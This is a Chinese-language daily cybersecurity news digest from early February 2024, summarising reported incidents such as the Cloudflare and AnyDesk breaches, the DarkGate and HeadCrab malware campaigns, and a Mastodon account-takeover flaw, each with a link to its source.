https://www.bleepingcomputer.com/news/security/clorox-says-cyberattack-caused-49-million-in-expenses/ 高乐氏公司称去年 9 月的一次网络攻击迄今已造成该公司 4900 万美元的损失,高乐氏作为一家美国消费和专业清洁产品制造商,拥有 8700 名员工,2023 年收入近 75 亿美元。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年02月05日
1、Cloudflare内部服务器Atlassian遭到网络攻击
https://blog.cloudflare.com/thanksgiving-2023-security-incident Cloudflare披露,其内部 Atlassian 服务器被一名疑似“民族国家攻击者”入侵,该攻击者访问了其 Confluence wiki、Jira 错误数据库和 Bitbucket 源代码管理系统。并使用 ScriptRunner for Jira 建立了对Atlassian 服务器的持久访问,获得了源代码管理系统(使用 Atlassian Bitbucket)的访问权限,并尝试访问有权访问 Atlassian 服务器的控制台服务器,但没有成功。此次攻击行为并
2、HeadCrab新变种实现无文件化持续攻击Redis服务器
https://blog.aquasec.com/headcrab-2.0-evolving-threat-in-redis-malware-landscape 研究人员发现 HeadCrab 恶意软件新变种,该恶意软件自 2021 年 9 月初以来一直以全球的 Redis 数据库服务器为目标,并将其编入僵尸网络以非法挖掘加密货币,同时还以允许威胁参与者执行 shell 命令、加载无文件内核模块以及将数据渗漏到远程的方式利用访问权限。研究人员分析了 HeadCrab 2.0 的复杂细节,揭示了其先进的机制,并表示新变种能够以合法命令的名义伪装其恶意活动,这给检测带来了新的问题。与去年相比,受
3、新型恶意软件CommandoCat定向攻击暴露的Docker API端点
https://thehackernews.com/2024/02/exposed-docker-apis-under-attack-in.html 研究人员发现一种名为“Commando Cat”的新型恶意软件活动,其目标是暴露的 Docker API 端点。Commando Cat 是一个加密劫持活动,利用 Docker 作为初始访问向量,并(ab)使用该服务挂载主机的文件系统,然后直接在主机上运行一系列相互依赖的有效负载。 这些负载负责注册持久性、启用后门、泄露各种云服务提供商凭证文件并执行矿工本身,该恶意软件展示的许多规避技术,包括不寻常的进程隐藏机制。 该组织有可能是众多模仿 Te
4、ALPHV勒索组织声称窃取Technica机构300GB数据并威胁泄露
https://cyberscoop.com/technica-pentagon-alphv-ransomware/ ALPHV或BlackCat的勒索软件组织声称,已经从Technica窃取300 GB 的关于国防情报和安全局相关的数据。Technica 是一家总部位于弗吉尼亚州的 IT 服务机构,负责进行背景调查和内部威胁分析。ALPHV 勒索组织发布了二十多张据称被盗文件的屏幕截图,其中包含数十人的姓名、社会安全号码、许可级别以及角色和工作地点。这些屏幕截图包括账单发票、从联邦调查局到美国空军等实体的合同,以及与美国政府签订合同的私人实体和设施的相关信息。该组织在与文件一起发布的消息中
5、与印度有关的黑客利用间谍软件进行定向攻击
https://therecord.media/india-linked-hackers-target-pakistan-with-spyware 研究人员发现疑似印度国家资助的黑客利用爱情骗局来引诱巴基斯坦的受害者安装恶意应用程序,从而用间谍恶意软件感染他们的设备。该组织名为 Patchwork,创建了至少 12 个恶意 Android 应用程序,包括 MeetMe、Let's Chat、Quick Chat 和 Rafaqat,并通过 Google Play 和其他平台分发这些应用程序。据统计这些应用程序被下载了 1,400 多次,目前已被谷歌标记为恶意并删除。一些黑客的受害者位于马来西
6、DarkGate恶意软件利用Microsoft Teams进行分发
https://cyware.com/news/darkgate-malware-delivered-via-microsoft-teams-f7b25750 研究人员发现了一次网络钓鱼攻击,该攻击利用 Microsoft Teams 聊天组将 DarkGate 恶意软件推送到受害者的系统上。攻击者使用名为 .onmicrosoft.com 的域发送网络钓鱼消息,诱骗用户下载欺骗性文件。据研究人员称,攻击者利用受感染的域发送了 1000 多个恶意 Teams 群聊邀请。 一旦收件人接受聊天请求,攻击者就会说服他们下载带有欺骗性双扩展名的文件:“Navigating Future Change
7、AnyDesk证实黑客入侵了其生产服务器并重置了密码
https://anydesk.com/en/public-statement AnyDesk证实最近遭受了一次网络攻击黑客访问该公司的生产系统,研究人员获悉,其源代码和私有代码签名密钥在攻击期间被盗。AnyDesk 是一种远程访问解决方案,允许用户通过网络或互联网远程访问计算机,用户企业使用它来提供远程支持或访问托管服务器。AnyDesk 表示他们已吊销与安全相关的证书,并根据需要修复或更换系统。他们还向客户保证 AnyDesk 可以安全使用,并且没有证据表明最终用户设备受到该事件的影响。虽然该公司表示没有身份验证令牌被盗,但出于谨慎考虑,AnyDesk 正在撤销其门户网站的所有密码,并建
8、后门激活恶意软件在macOS应用程序中泛滥
https://www.sentinelone.com/blog/backdoor-activator-malware-running-rife-through-torrents-of-macos-apps/ Activator macOS 后门背后的威胁参与者正在使用盗版应用程序来分发恶意软件,这可能是僵尸网络构建操作。此次活动不同之处在于其庞大的规模和新颖的多级有效负载传输技术。另外值得注意的是,威胁行为者使用破解的 macOS 应用程序,这些应用程序的标题可能是企业用户感兴趣的,因此不限制用户下载内容的组织也可能面临风险。
9、关键漏洞允许攻击者远程接管Mastodon账户
https://www.theregister.com/2024/02/02/critical_vulnerability_in_mastodon_is/ Mastodon 是免费开源的去中心化社交网络平台,近期修复了一个严重漏洞,该漏洞标记为CVE-2024-23832,在 CVSS v3.1 中的评级为 9.4,影响 3.5.17、4.0.13、4.1.13 和 4.2.5 之前的所有 Mastodon 版本,允许攻击者冒充并接管任何远程帐户。该漏洞已于发布的 4.2.5 版本中得到修复,建议所有 Mastodon 服务器管理员尽快升级到该版本以保护用户。Mastodon 暂时隐瞒了技术
10、Clorox公司确认2023年因网络攻击造成4900万美元损失
https://www.bleepingcomputer.com/news/security/clorox-says-cyberattack-caused-49-million-in-expenses/ 高乐氏 (Clorox) 披露,到 2023 年底,该公司因网络攻击而产生了 4900 万美元的费用。“产生的成本主要与第三方咨询服务有关,包括 IT 恢复和取证专家以及为调查和补救攻击而产生的其他专业服务,以及因公司业务运营中断而产生的增量运营成本,”虽然 Clorox 没有提供有关此次攻击的更多细节,但据悉此次攻击是由名为Scattered Spider(分散蜘蛛) 的黑客组织实施的 。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年02月04日
1、Mastodon 修复了一个可能允许接管任何帐户的漏洞
https://securityaffairs.com/158565/hacking/mastodon-take-over-issue.html 威胁行为者可以利用影响去中心化社交网络 Mastodon 的漏洞来冒充并接管任何帐户。
2、黑客使用Okta泄露的凭据访问了Cloudflare内部系统
https://www.securityweek.com/okta-broadens-scope-of-data-breach-all-customer-support-users-affected/ 威胁行为者使用 Okta 黑客攻击期间窃取的凭据访问了内部 Cloudflare 系统。
3、AnyDesk 称黑客入侵其生产服务器并重置密码
https://www.bleepingcomputer.com/news/security/anydesk-says-hackers-breached-its-production-servers-reset-passwords/ 攻击者窃取了源代码和代码签名证书。 AnyDesk 的回应是撤销安全证书、更换系统并向客户保证使用该软件是安全的。
4、乌克兰政府协同民间黑客全面升级与俄罗斯的网络战
https://www.secrss.com/articles/63406 自 2023 年 11 月 23 日,乌克兰政府首次官方承认对俄罗斯目标开展网络攻击以来,乌克兰军事情报机构、国家安全机构以及亲乌克兰黑客组织对俄罗斯开展了九次具有严重破坏性影响的网络攻击。
5、DarkGate 恶意软件正在通过微软群聊进行大肆传播
https://www.bleepingcomputer.com/news/security/microsoft-teams-phishing-pushes-darkgate-malware-via-group-chats/ AT&T Cybersecurity 的研究显示,有一种新的网络钓鱼攻击通过 Microsoft Teams 群组聊天请求推送恶意附件,从而在受害者系统中安装 DarkGate 恶意软件。
6、CISA 发出警告,iPhone 内核漏洞正在被利用
https://www.bleepingcomputer.com/news/security/cisa-warns-of-patched-iphone-kernel-bug-now-exploited-in-attacks/ CISA 近期警告称,一个影响苹果 iPhone、Mac、 TVs 和手表的内核安全漏洞正在被威胁攻击者积极利用。
7、全球五大互联网注册商中四个的1500多个客户凭证泄露
https://www.anquanke.com/post/id/293029 Resecurity 专家已发现暗网上五个最大互联网注册商 ( RIR ) 中四个的 1570 多个客户凭证遭到泄露,其中包括:RIPE、APNIC、AFRINIC和LACNIC,只有负责北美地区的 ARIN。幸免于难。
8、专家称 FritzFrog 僵尸网络正在利用 Log4Shell 漏洞
https://therecord.media/botnet-fritzfrog-log4shell-exploitation-internal-networks 僵尸网络在名为“Frog4Shell”的活动中转向针对易受攻击的 Java 应用程序,这对可能被忽视且未修补的内部计算机构成了重大风险。
9、联通成立安全子公司,三大运营商加大网安战略投入
https://www.secrss.com/articles/63451 2024年1月26日,联通(广东)网络信息安全科技有限公司成立,注册资本10亿元。
10、 网信办2023 年约谈网站 10646 家关闭违法违规账号127878个
https://www.ithome.com/0/748/264.htm 据中央网信办公告,2023 年全国网信系统严格执行法律法规,大力查处各类网上违法违规行为,全年共约谈网站 10646 家。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

